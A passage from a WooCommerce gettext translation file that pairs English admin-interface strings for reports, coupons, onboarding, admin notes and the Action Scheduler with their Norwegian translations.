msgstr "Legg til ekstra informasjon om hver kategori i rapporten."
#: src/Admin/API/Reports/Categories/Controller.php:219
msgid "Limit result set to all items that have the specified term assigned in the categories taxonomy."
msgstr "Avgrens resultat til alle elementer som har det spesifiserte vilkåret tilordnet i kategori-taksonomien."
#: src/Admin/API/Reports/Categories/Controller.php:209
#: src/Admin/API/Reports/Orders/Controller.php:334
#: src/Admin/API/Reports/Orders/Stats/Controller.php:235
msgid "Limit result set to items that don't have the specified order status."
msgstr "Avgrens resultat til elementer som ikke har den spesifiserte ordre-statusen."
#: src/Admin/API/Reports/Categories/Controller.php:199
#: src/Admin/API/Reports/Orders/Controller.php:324
#: src/Admin/API/Reports/Orders/Stats/Controller.php:224
msgid "Limit result set to items that have the specified order status."
msgstr "Avgrens resultat til elementer som har den spesifiserte ordre-statusen."
#: src/Admin/API/Reports/Categories/Controller.php:129
msgid "Amount of items sold."
msgstr "Antall produkter solgt."
#: src/Admin/API/Reports/GenericController.php:194
msgid "Invalid response from data store."
msgstr "Ugyldig svar fra datalager."
#: src/Admin/API/Reports/Categories/Controller.php:247
msgid "Net Revenue"
msgstr "Nettoinntekt"
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:189
msgid "Gross sales."
msgstr "Brutto salg."
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:210
msgid "Products sold."
msgstr "Produkter solgt."
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:183
msgid "Items sold."
msgstr "Produkter solgt."
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:169
msgid "Total of returns."
msgstr "Total returnerte."
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:168
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:277
#: assets/client/admin/chunks/analytics-report-revenue.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Returns"
msgstr "Returnerte"
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:161
msgid "Total of taxes."
msgstr "Totalt avgifter."
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:153
msgid "Total of shipping."
msgstr "Total frakt."
#: src/Admin/API/Reports/Orders/Stats/Controller.php:163
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:145
msgid "Unique coupons count."
msgstr "Antall unike rabattkoder."
#: src/Admin/API/Reports/Orders/Stats/Controller.php:157
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:139
msgid "Amount discounted by coupons."
msgstr "Beløp rabattert med rabattkoder."
#: src/Admin/API/Reports/Orders/Stats/Controller.php:122
#: src/Admin/API/Reports/Products/Stats/Controller.php:133
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:131
#: src/Admin/API/Reports/Variations/Stats/Controller.php:137
msgid "Net sales."
msgstr "Netto salg."
#: src/Admin/API/Reports/Categories/Controller.php:135
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:123
msgid "Total sales."
msgstr "Totalt salg."
#: src/Admin/API/Reports/Export/Controller.php:209
msgid "Sorry, there is no export with that ID."
msgstr "Beklager, det finnes ingen eksport med den ID'en."
#: src/Admin/API/Reports/Export/Controller.php:176
msgid "Your report file is being generated."
msgstr "Rapportfilen genereres."
#: src/Admin/API/Reports/Export/Controller.php:167
msgid "There is no data to export for the given request."
msgstr "Det finnes ingen data å eksportere for den angitte forespørselen."
#: src/Admin/API/Reports/Export/Controller.php:136
msgid "Export download URL."
msgstr "Eksporter nettadresse for nedlasting."
#: src/Admin/API/Reports/Export/Controller.php:130
msgid "Percentage complete."
msgstr "Prosent fullført."
#: src/Admin/API/Reports/Import/Controller.php:216
msgid "Regenerate data message."
msgstr "Forny datamelding."
#: src/Admin/API/Reports/Import/Controller.php:210
msgid "Regeneration status."
msgstr "Fornyelsesstatus."
#: src/Admin/API/Reports/Export/Controller.php:76
msgid "When true, email a link to download the export to the requesting user."
msgstr "Hvis sant, send en e-post med en lenke for å laste ned eksporten til den forespurte brukeren."
#: src/Admin/API/Reports/Export/Controller.php:71
msgid "Parameters to pass on to the exported report."
msgstr "Parametere som skal sendes til den eksporterte rapporten."
#: src/Admin/API/Reports/Coupons/Stats/Segmenter.php:284
#: src/Admin/API/Reports/Orders/Stats/Segmenter.php:378
#: src/Admin/API/Reports/Products/Stats/Segmenter.php:169
msgid "product_includes parameter need to specify exactly one product when segmenting by variation."
msgstr "product_includes parameteren må angi nøyaktig ett produkt når det segmenteres etter variant."
#: src/Admin/API/Reports/Coupons/Stats/Controller.php:163
#: src/Admin/API/Reports/Orders/Stats/Controller.php:372
#: src/Admin/API/Reports/Products/Stats/Controller.php:241
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:241
#: src/Admin/API/Reports/Taxes/Stats/Controller.php:208
#: src/Admin/API/Reports/Variations/Stats/Controller.php:274
msgid "Segment the response by additional constraint."
msgstr "Segmenter responsen etter ekstra begrensning."
#: src/Admin/API/Reports/Categories/Controller.php:185
#: src/Admin/API/Reports/GenericStatsController.php:74
msgid "Time interval to use for buckets in the returned data."
msgstr "Tidsintervall som skal brukes for samlinger i de returnerte dataene."
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:171
#: src/Admin/API/Reports/GenericStatsController.php:188
msgid "The date the report end, as GMT."
msgstr "Dato for rapportens slutt, som GMT."
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:165
#: src/Admin/API/Reports/GenericStatsController.php:181
msgid "The date the report end, in the site's timezone."
msgstr "Dato for rapportens slutt, i nettstedets tidssone."
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:159
#: src/Admin/API/Reports/GenericStatsController.php:174
msgid "The date the report start, as GMT."
msgstr "Dato for rapportens start, som GMT."
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:153
#: src/Admin/API/Reports/GenericStatsController.php:167
msgid "The date the report start, in the site's timezone."
msgstr "Dato for rapportens start, i nettstedets tidssone."
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:146
#: src/Admin/API/Reports/GenericStatsController.php:160
msgid "Type of interval."
msgstr "Type intervall."
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:138
#: src/Admin/API/Reports/GenericStatsController.php:152
msgid "Reports data grouped by intervals."
msgstr "Rapporterer data gruppert etter intervaller."
#: src/Admin/API/Reports/Customers/Stats/Controller.php:168
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:131
#: src/Admin/API/Reports/GenericStatsController.php:145
#: src/Admin/API/Reports/Stock/Stats/Controller.php:118
msgid "Totals data."
msgstr "Totalt data."
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:177
#: src/Admin/API/Reports/GenericStatsController.php:126
#: src/Admin/API/Reports/GenericStatsController.php:195
msgid "Interval subtotals."
msgstr "Intervall subtotaler."
#: src/Admin/API/Reports/GenericStatsController.php:120
msgid "Segment identificator."
msgstr "Segmentidentifikator."
#: src/Admin/API/Reports/GenericStatsController.php:112
msgid "Reports data grouped by segment condition."
msgstr "Rapporterer data gruppert etter segmenttilstand."
#: src/Admin/API/Reports/Coupons/Stats/Controller.php:117
msgid "Number of discounted orders."
msgstr "Antall ordrer med rabatt."
#: src/Admin/API/Reports/Coupons/Stats/Controller.php:116
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Discounted orders"
msgstr "Ordrer med rabatt"
#: src/Admin/API/Reports/Coupons/Stats/Controller.php:110
msgid "Number of coupons."
msgstr "Antall rabattkoder."
#: src/Admin/API/Reports/Coupons/Controller.php:225
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/blocks/product-collection.js:14
msgid "Created"
msgstr "Opprettet"
#: src/Admin/API/Reports/Coupons/Controller.php:205
#: src/Admin/API/Reports/Orders/Controller.php:368
msgid "Add additional piece of info about each coupon to the report."
msgstr "Legg til mer informasjon om hver rabattkode i rapporten."
#: src/Admin/API/Reports/Coupons/Controller.php:196
#: src/Admin/API/Reports/Coupons/Stats/Controller.php:154
msgid "Limit result set to coupons assigned specific coupon IDs."
msgstr "Avgrens resultat til rabattkoder tilordnet bestemte rabattkode-ider."
#: src/Admin/API/Reports/Coupons/Controller.php:170
msgid "Coupon discount type."
msgstr "Rabattkodens rabattype."
#: src/Admin/API/Reports/Coupons/Controller.php:163
msgid "Coupon expiration date in GMT."
msgstr "Utløpsdato for rabattkode i GMT."
#: src/Admin/API/Reports/Coupons/Controller.php:157
msgid "Coupon expiration date."
msgstr "Utløpsdato for rabattkode."
#: src/Admin/API/Reports/Coupons/Controller.php:151
msgid "Coupon creation date in GMT."
msgstr "Opprettelsesdato for rabattkode i GMT."
#: src/Admin/API/Reports/Coupons/Controller.php:145
msgid "Coupon creation date."
msgstr "Opprettelsesdato for rabattkode."
#: src/Admin/API/Reports/Coupons/Controller.php:123
#: src/Admin/API/Reports/Coupons/Stats/Controller.php:102
msgid "Net discount amount."
msgstr "Netto rabattbeløp."
#: src/Admin/API/Reports/Coupons/Controller.php:117
msgid "Coupon ID."
msgstr "Rabattkode-id."
#: src/Admin/API/Reports/Controller.php:214
msgid "API path."
msgstr "API- sti."
#: src/Admin/API/Reports/Controller.php:100
msgid "Customers detailed reports."
msgstr "Detaljerte kunderapporter."
#: src/Admin/API/Reports/Controller.php:96
msgid "Stats about product downloads."
msgstr "Statistikk om produktnedlastinger."
#: src/Admin/API/Reports/Controller.php:92
msgid "Product download files detailed reports."
msgstr "Detaljerte rapporter for produktnedlastingsfiler."
#: src/Admin/API/Reports/Controller.php:88
msgid "Product downloads detailed reports."
msgstr "Detaljerte rapporter for produktnedlastinger."
#: src/Admin/API/Reports/Controller.php:84
msgid "Stats about taxes."
msgstr "Statistikk om avgifter."
#: src/Admin/API/Reports/Controller.php:80
msgid "Taxes detailed reports."
msgstr "Detaljerte avgiftsrapporter."
#: src/Admin/API/Reports/Controller.php:76
msgid "Stats about coupons."
msgstr "Statistikker om rabattkoder."
#: src/Admin/API/Reports/Controller.php:72
msgid "Coupons detailed reports."
msgstr "Detaljerte rapporter for rabattkoder."
#: src/Admin/API/Reports/Controller.php:68
msgid "Stats about product categories."
msgstr "Statistikk om produktkategorier."
#: src/Admin/API/Reports/Controller.php:64
msgid "Product categories detailed reports."
msgstr "Detaljerte rapporter om produktkategorier."
#: src/Admin/API/Reports/Controller.php:52
msgid "Stats about products."
msgstr "Statistikk om produkter."
#: src/Admin/API/Reports/Controller.php:48
msgid "Products detailed reports."
msgstr "Detaljerte rapporter om produkter."
#: src/Admin/API/Reports/Controller.php:44
msgid "Stats about orders."
msgstr "Statistikk om ordre."
#: src/Admin/API/Reports/Controller.php:40
msgid "Stats about revenue."
msgstr "Statistikk om inntekter."
#: src/Admin/API/Reports/Controller.php:36
msgid "Batch endpoint for getting specific performance indicators from `stats` endpoints."
msgstr "Batch endpoint for å få spesifikke resultatindikatorer fra `statistikk` endepunkter."
#: src/Admin/API/NoteActions.php:64 src/Admin/API/NoteActions.php:77
#: src/Admin/API/Notes.php:169 src/Admin/API/Notes.php:320
msgid "Sorry, there is no resource with that ID."
msgstr "Beklager, det er ingen ressurs med den ID-en."
#: src/Admin/API/NoteActions.php:37
msgid "Unique ID for the Note Action."
msgstr "Unik ID for notathandlingen."
#: src/Admin/API/NoteActions.php:33
msgid "Unique ID for the Note."
msgstr "Unik ID for notatet."
#: src/Admin/API/Leaderboards.php:584
msgid "Table cell value."
msgstr "Tabellcelleverdi."
#: src/Admin/API/Leaderboards.php:578
msgid "Table cell display."
msgstr "Tabellcellevisning."
#: src/Admin/API/Leaderboards.php:571
msgid "Table rows."
msgstr "Tabellrader."
#: src/Admin/API/Leaderboards.php:561
msgid "Table column header."
msgstr "Tabell kolonneoverskrift."
#: src/Admin/API/Leaderboards.php:554
msgid "Table headers."
msgstr "Tabelloverskrifter."
#: src/Admin/API/Leaderboards.php:548
msgid "Displayed title for the leaderboard."
msgstr "Vist tittel på topplisten."
#: src/Admin/API/Leaderboards.php:542
msgid "Leaderboard ID."
msgstr "Toppliste ID."
#: src/Admin/API/Leaderboards.php:522
msgid "URL query to persist across links."
msgstr "Nettadressespørring som skal vedvare på tvers av lenker."
#: src/Admin/API/Leaderboards.php:356
msgid "Top products - Items sold"
msgstr "Toppprodukter - Solgte elementer"
#: src/Admin/API/Leaderboards.php:294
#: src/Admin/API/Reports/Customers/Controller.php:547
#: assets/client/admin/chunks/analytics-report-customers.js:1
msgid "Total Spend"
msgstr "Total forbruk"
#: src/Admin/API/Leaderboards.php:288
msgid "Customer Name"
msgstr "Kundenavn"
#: src/Admin/API/Leaderboards.php:285
msgid "Top Customers - Total Spend"
msgstr "Toppkunder - Total forbruk"
#: src/Admin/API/Leaderboards.php:225 src/Admin/API/Leaderboards.php:365
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:279
#: assets/client/admin/chunks/2304.js:1
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-revenue.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Net sales"
msgstr "Netto salg"
#: src/Admin/API/Leaderboards.php:222 src/Admin/API/Leaderboards.php:362
#: src/Admin/API/Reports/Categories/Controller.php:246
#: src/Admin/API/Reports/Orders/Controller.php:469
#: src/Admin/API/Reports/Products/Controller.php:324
#: src/Admin/API/Reports/Variations/Controller.php:374
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Items sold"
msgstr "Solgte produkter"
#: src/Admin/API/Leaderboards.php:216
msgid "Top categories - Items sold"
msgstr "Toppkategorier - Elementer solgt"
#: src/Admin/API/Leaderboards.php:154
#: src/Admin/API/Reports/Coupons/Controller.php:224
#: assets/client/admin/chunks/analytics-report-coupons.js:1
msgid "Amount discounted"
msgstr "Beløp rabattert"
#: src/Admin/API/Leaderboards.php:145
msgid "Top Coupons - Number of Orders"
msgstr "Topp rabattkoder - Antall ordre"
#: src/Admin/API/Coupons.php:35
msgid "Limit results to coupons with codes matching a given string."
msgstr "Avgrens resultat til rabattkoder med koder som samsvarer med en gitt streng."
#: src/Admin/API/Options.php:310 src/Admin/API/Settings.php:146
msgid "Array of options with associated values."
msgstr "Rekke av alternativer med tilhørende verdier."
#: src/Admin/API/Options.php:139
msgid "Sorry, you cannot manage these options."
msgstr "Beklager, du kan ikke administrere disse alternativene."
#: src/Admin/API/Options.php:134
msgid "You must supply an array of options and values."
msgstr "Du må levere en rekke alternativer og verdier."
#: src/Admin/API/Options.php:92
msgid "Sorry, you cannot view these options."
msgstr "Beklager, du kan ikke se disse alternativene."
#: src/Admin/API/Options.php:87
msgid "You must supply an array of options."
msgstr "Du må levere en rekke alternativer."
#: src/Admin/API/Themes.php:197
msgid "A zip file of the theme to be uploaded."
msgstr "En zip-fil med temaet som skal lastes opp."
#: src/Admin/API/Themes.php:178
msgid "Uploaded theme."
msgstr "Opplastet tema."
#: src/Admin/API/Themes.php:172
msgid "Theme installation message."
msgstr "Melding om temainstallasjon."
#: src/Admin/API/Themes.php:166
msgid "Theme installation status."
msgstr "Status på temainstallasjon."
#: src/Admin/API/Themes.php:78
msgid "Specified file failed upload test."
msgstr "Spesifisert fil kom ikke gjennom opplastingstest."
#: src/Admin/API/Themes.php:63
msgid "Sorry, you are not allowed to install themes on this site."
msgstr "Beklager, du har ikke lov til å installere temaer på dette nettstedet."
#: src/Admin/API/Taxes.php:40
msgid "Limit result set to items that have the specified rate ID(s) assigned."
msgstr "Avgrens resultat til elementer som har de bestemte avgiftssats-ID'er tilordnet."
#: src/Admin/API/Taxes.php:35
msgid "Search by similar tax code."
msgstr "Søk etter liknende avgiftskode."
#: src/Admin/API/OnboardingTasks.php:688
msgid "Homepage created"
msgstr "Forside opprettet"
#: src/Admin/API/OnboardingTasks.php:660
msgid "Homepage"
msgstr "Forside"
#: src/Admin/API/OnboardingTasks.php:558
msgid "New Products"
msgstr "Nye produkter"
#: src/Admin/API/OnboardingTasks.php:539
#: assets/client/blocks/product-collection.js:1
msgid "Best Sellers"
msgstr "Bestselgere"
#: src/Admin/API/OnboardingTasks.php:535
#: assets/client/blocks/product-collection.js:3
msgid "On Sale"
msgstr "På tilbud"
#: src/Admin/API/OnboardingTasks.php:531
msgid "Fan Favorites"
msgstr "Favoritter"
#: src/Admin/API/OnboardingTasks.php:527
msgid "New In"
msgstr "Ny i"
#: src/Admin/API/OnboardingTasks.php:521
msgid "Shop by Category"
msgstr "Handle etter kategori"
#: src/Admin/API/OnboardingTasks.php:494 src/Admin/API/OnboardingTasks.php:501
msgid "Content…"
msgstr "Innhold…"
#: src/Admin/API/OnboardingTasks.php:457 src/Admin/API/OnboardingTasks.php:474
msgid "Go shopping"
msgstr "Start å handle"
#: src/Admin/API/OnboardingTasks.php:452 src/Admin/API/OnboardingTasks.php:469
msgid "Write a short welcome message here"
msgstr "Skriv en kort velkomstmelding her"
#: src/Admin/API/OnboardingTasks.php:448 src/Admin/API/OnboardingTasks.php:465
msgid "Welcome to the store"
msgstr "Velkommen til butikken"
#: src/Admin/API/OnboardingTasks.php:447 src/Admin/API/OnboardingTasks.php:464
msgid "Write title…"
msgstr "Skriv tittel…"
#: src/Admin/API/OnboardingTasks.php:337
msgid "Sorry, the sample products data file was not found."
msgstr "Beklager, datafilen med eksempelprodukter ble ikke funnet."
#: src/Admin/API/OnboardingTasks.php:262
msgid "Sorry, you are not allowed to create new pages."
msgstr "Beklager, du har ikke tillatelse til å opprette nye sider."
#: src/Admin/API/Data.php:39
msgid "An endpoint used for searching download logs for a specific IP address."
msgstr "Et sluttpunkt som brukes til å søke i nedlastingslogger for en spesifikk IP-adresse."
#: src/Admin/API/Products.php:82
msgid "Search by similar product name or sku."
msgstr "Søk etter lignende produktnavn eller produktnummer."
#: src/Admin/API/Orders.php:39
msgid "Limit result set to orders matching part of an order number."
msgstr "Avgrens resultat til ordrer som samsvarer med en del av et ordrenummer."
#: src/Admin/ReportCSVEmail.php:117
msgid "[{site_title}]: Your {report_name} Report download is ready"
msgstr "[{site_title}]: «{report_name}»-rapport er klar for nedlasting"
#: src/Admin/ReportCSVEmail.php:108
msgid "Your Report Download"
msgstr "Rapportnedlasting"
#: src/Admin/ReportCSVEmail.php:72 src/Internal/Admin/Analytics.php:212
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/analytics-report-revenue.js:1
msgid "Revenue"
msgstr "Inntekter"
#: patterns/four-image-grid-content-left.php:11
msgid "Get Started"
msgstr "Kom i gang"
#: src/Internal/Admin/Notes/WooSubscriptionsNotes.php:385
msgid "Renew Subscription"
msgstr "Forny abonnementet"
#. translators: date the subscription expired, e.g. Jun 7th 2018
#: src/Internal/Admin/Notes/WooSubscriptionsNotes.php:360
msgid "Your subscription expired on %s. Get a new subscription to continue receiving updates and access to support."
msgstr "Abonnementet er utløpt på %s. Få et nytt abonnement for å fortsette å motta oppdateringer og tilgang til støtte."
#. translators: name of the extension subscription that expired
#: src/Internal/Admin/Notes/WooSubscriptionsNotes.php:354
msgid "%s subscription expired"
msgstr "%s abonnement utløpt"
#: src/Internal/Admin/Notes/WooSubscriptionsNotes.php:322
msgid "Enable Autorenew"
msgstr "Slå på automatisk fornyelse"
#. translators: number of days until the subscription expires
#: src/Internal/Admin/Notes/WooSubscriptionsNotes.php:299
msgid "Your subscription expires in %d days. Enable autorenew to avoid losing updates and access to support."
msgstr "Abonnementet ditt utløper om %d dager. Slå på automatisk fornyelse for å unngå å miste oppdateringer og tilgang til støtte."
#. translators: name of the extension subscription expiring soon
#: src/Internal/Admin/Notes/WooSubscriptionsNotes.php:293
msgid "%s subscription expiring soon"
msgstr "%s abonnement utløper snart"
#: src/Internal/Admin/Notes/MobileApp.php:44
msgid "Install Woo mobile app"
msgstr "Installer Woo mobilapp"
#: src/Internal/Admin/Notes/MobileApp.php:41
msgid "Install the WooCommerce mobile app to manage orders, receive sales notifications, and view key metrics — wherever you are."
msgstr "Installer WooCommerce mobilappen for å administrere ordre, motta salgsvarsler og se viktige beregninger - uansett hvor du er."
#: src/Internal/Admin/Notes/NewSalesRecord.php:150
msgid "New sales record!"
msgstr "Ny salgsrekord!"
#. translators: 1 and 4: Date (e.g. October 16th), 2 and 3: Amount (e.g.
#. $160.00)
#: src/Internal/Admin/Notes/NewSalesRecord.php:132
msgid "Woohoo, %1$s was your record day for sales! Net sales was %2$s beating the previous record of %3$s set on %4$s."
msgstr "Woohoo, %1$s var en rekorddag for salg. Nettosalget var %2$s, og slo den forrige rekorden på %3$s som ble satt %4$s."
#: src/Internal/Admin/Notes/OrderMilestones.php:260
msgid "Review your orders"
msgstr "Se gjennom ordrene dine"
#: src/Internal/Admin/Logging/PageController.php:201
#: src/Internal/Admin/Notes/OrderMilestones.php:247
msgid "Browse"
msgstr "Bla gjennom"
#: src/Internal/Admin/Notes/OrderMilestones.php:224
msgid "Another order milestone! Take a look at your Orders Report to review your orders to date."
msgstr "En annen ordre-milepæl! Ta en titt på ordrerapporten din for å se gjennom ordrene dine til dags dato."
#: src/Internal/Admin/Notes/OrderMilestones.php:215
msgid "You've hit the 10 orders milestone! Look at you go. Browse some WooCommerce success stories for inspiration."
msgstr "Du har truffet milepælen for 10 ordre! Dette går unna. Bla gjennom noen WooCommerce suksesshistorier for inspirasjon."
#: src/Internal/Admin/Notes/OrderMilestones.php:213
msgid "Congratulations on getting your first order! Now is a great time to learn how to manage your orders."
msgstr "Gratulerer med at du fikk din første ordre fra en kunde! Nå passer det å lære hvordan du administrerer ordrene dine."
#. translators: Number of orders processed.
#: src/Internal/Admin/Notes/OrderMilestones.php:196
msgid "Congratulations on processing %s orders!"
msgstr "Gratulerer med gjennomføring av %s ordre!"
#: src/Blocks/BlockTypes/Reviews/ProductReviewsTitle.php:69
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1211
#: assets/client/blocks/product-reviews-title.js:6
msgid "Review"
msgstr "Omtale"
#: src/Internal/Admin/Notes/TrackingOptIn.php:73
msgid "Activate usage tracking"
msgstr "Aktiver brukssporing"
#. translators: 1: open link to WooCommerce.com settings, 2: open link to
#. WooCommerce.com tracking documentation, 3: close link tag.
#: src/Internal/Admin/Notes/TrackingOptIn.php:54
msgid "Gathering usage data allows us to improve WooCommerce. Your store will be considered as we evaluate new features, judge the quality of an update, or determine if an improvement makes sense. You can always visit the %1$sSettings%3$s and choose to stop sharing data. %2$sRead more%3$s about what data we collect."
msgstr "Innsamling av bruksdata gjør at vi kan forbedre WooCommerce. Butikken din vil bli vurdert når vi evaluerer nye funksjoner, bedømmer kvaliteten på en oppdatering, eller avgjør om en forbedring gir mening. Du kan alltid gå til %1$sInnstillinger%3$s og velge å slutte å dele data. %2$sLes mer%3$s om hvilke data vi samler inn."
#: src/Admin/Notes/Note.php:663
msgid "The admin note action label prop cannot be empty."
msgstr "Admin-notat handlingsetikett kan ikke være tom."
#: src/Admin/Notes/Note.php:659
msgid "The admin note action name prop cannot be empty."
msgstr "Admin-notat handlingsnavn kan ikke være tom."
#: src/Admin/Notes/Note.php:551
msgid "The admin note date prop cannot be empty."
msgstr "Admin-notat dato kan ikke være tom."
#: src/Admin/Notes/Note.php:538
msgid "The admin note source prop cannot be empty."
msgstr "Admin-notat kilde kan ikke være tom."
#. translators: %s: admin note status property.
#: src/Admin/Notes/Note.php:522
msgid "The admin note status prop (%s) is not one of the supported statuses."
msgstr "Admin-notat status (%s) er ikke en av de støttede statusene."
#: src/Admin/Notes/Note.php:514
msgid "The admin note status prop cannot be empty."
msgstr "Admin-notat status kan ikke være tom."
#: src/Admin/Notes/Note.php:501
msgid "The admin note content_data prop must be an instance of stdClass."
msgstr "Admin-notat content_data må være en forekomst av stdClass."
#: src/Admin/Notes/Note.php:484
msgid "The admin note content prop cannot be empty."
msgstr "Admin-notat innhold kan ikke være tom."
#: src/Admin/Notes/Note.php:444
msgid "The admin note title prop cannot be empty."
msgstr "Admin-notat tittel kan ikke være tom."
#: src/Admin/Notes/Note.php:431
msgid "The admin note locale prop cannot be empty."
msgstr "Admin-notat locale kan ikke være tom."
#. translators: %s: admin note type.
#: src/Admin/Notes/Note.php:415
msgid "The admin note type prop (%s) is not one of the supported types."
msgstr "Admin-notat type (%s) er ikke en av de støttede typene."
#: src/Admin/Notes/Note.php:400
msgid "The admin note type prop cannot be empty."
msgstr "Admin-notat type kan ikke være tom."
#: src/Admin/Notes/Note.php:387
msgid "The admin note name prop cannot be empty."
msgstr "Admin-notat navn kan ikke være tom."
#: src/Admin/ReportsSync.php:179
msgid "Report table data is being deleted."
msgstr "Tabelldata for rapporter slettes."
#: src/Admin/ReportsSync.php:95
msgid "Report table data is being rebuilt. Please allow some time for data to fully populate."
msgstr "Tabelldata for rapporter bygges på nytt. Det tar litt tid før alle data er på plass."
#: src/Admin/ReportsSync.php:79
msgid "An import is already in progress. Please allow the previous import to complete before beginning a new one."
msgstr "En import pågår allerede. Vennligst la den forrige importen fullføres før du begynner på en ny."
#: src/Admin/ReportsSync.php:49
msgid "Report sync schedulers should be derived from the Automattic\\WooCommerce\\Internal\\Admin\\Schedulers\\ImportScheduler class."
msgstr "Planleggere for rapportsynkronisering bør være avledet fra klassen Automattic\\WooCommerce\\Internal\\Admin\\Schedulers\\ImportScheduler."
#: src/Internal/Admin/Settings.php:334 src/Internal/Admin/Settings.php:335
msgid "Default Date Range"
msgstr "Standard datointervall"
#: src/Internal/Admin/Settings.php:326
msgid "Statuses that require extra action on behalf of the store admin."
msgstr "Statuser som krever ekstra handling på vegne av butikkadministratoren."
#: src/Internal/Admin/Settings.php:325
msgid "Actionable order statuses"
msgstr "Handlingsklare ordrestatuser"
#: src/Internal/Admin/Settings.php:317
msgid "Statuses that should not be included when calculating report totals."
msgstr "Statuser som ikke skal inkluderes ved beregning av rapporttotaler."
#: src/Internal/Admin/Settings.php:316
msgid "Excluded report order statuses"
msgstr "Ekskluderte statuser for rapporter"
#: src/Internal/Admin/Settings.php:297
msgid "Settings for WooCommerce admin reporting."
msgstr "Innstillinger for WooCommerce admin rapportering."
#. translators: %1$s: updated title, %2$s: blog info name
#: src/Internal/Admin/Loader.php:302
msgid "%1$s ‹ %2$s"
msgstr "%1$s ‹ %2$s"
#. translators: %d: amount of time
#: packages/action-scheduler/classes/ActionScheduler_DataController.php:145
msgid "Stopped the insanity for %d second"
msgid_plural "Stopped the insanity for %d seconds"
msgstr[0] "Stoppet galskapen i %d sekund"
msgstr[1] "Stoppet galskapen i %d sekunder"
#. translators: %d: seconds
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:401
msgid "The next queue will begin processing in approximately %d seconds."
msgstr "Den neste køen vil begynne å behandles om omtrent %d sekunder."
#. translators: %s: process URL
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:398
msgid "A new queue has begun processing. <a href=\"%s\">View actions in-progress »</a>"
msgstr "En ny kø har begynt å behandles. <a href=\"%s\">Se handlinger som behandles »</a>"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1337
msgid "Unknown status found for action."
msgstr "Ukjent status funnet for handling."
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:425
msgid "Invalid value for select or count parameter. Cannot query actions."
msgstr "Ugyldig verdi for valg eller telleparameter. Kan ikke spørre handlinger."
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:130
msgid "Database error."
msgstr "Databasefeil."
#. translators: %s is the error message
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:1085
msgid "%s Support for strings longer than this will be removed in a future version."
msgstr "%s Støtte for strenger lenger enn dette vil bli fjernet i en fremtidig versjon."
#. translators: %d is a number (maximum length of action arguments).
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Store.php:377
msgid "ActionScheduler_Action::$args too long. To ensure the args column can be indexed, action args should not be more than %d characters when encoded as JSON."
msgstr "ActionScheduler_Action::$args for lenge. For å sikre at args-kolonnen kan indekseres, bør action args ikke være mer enn %d tegn når de er kodet som JSON."
#. translators: %s: exception message
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:238
msgid "There was a failure scheduling the next instance of this action: %s"
msgstr "Det oppstod en feil under planlegging av neste forekomst av denne handlingen: %s"
#. translators: %s: exception message
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:222
msgid "There was a failure fetching this action: %s"
msgstr "Det oppsto en feil ved henting av denne handlingen: %s"
#. translators: %s: context
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:205
msgid "action ignored via %s"
msgstr "handling ignorert via %s"
#. translators: 1: context 2: exception message
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:155
msgid "action failed via %1$s: %2$s"
msgstr "handlingen feilet via %1$s: %2$s"
#. translators: %s: context
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:138
msgid "action complete via %s"
msgstr "handling fullført via %s"
#. translators: %s: context
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:121
msgid "action started via %s"
msgstr "handling startet via %s"
#. translators: 1: action ID 2: schedule
#: packages/action-scheduler/classes/ActionScheduler_InvalidActionException.php:22
msgid "Action [%1$s] has an invalid schedule: %2$s"
msgstr "Handlingen [%1$s] har en ugyldig tidsplan: %2$s"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:306
msgid "Activity log for the action."
msgstr "Aktivitetslogg for handlingen."
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:305
msgid "The date/time the action is/was scheduled to run."
msgstr "Datoen/klokkeslettet handlingen er/var planlagt å kjøre."
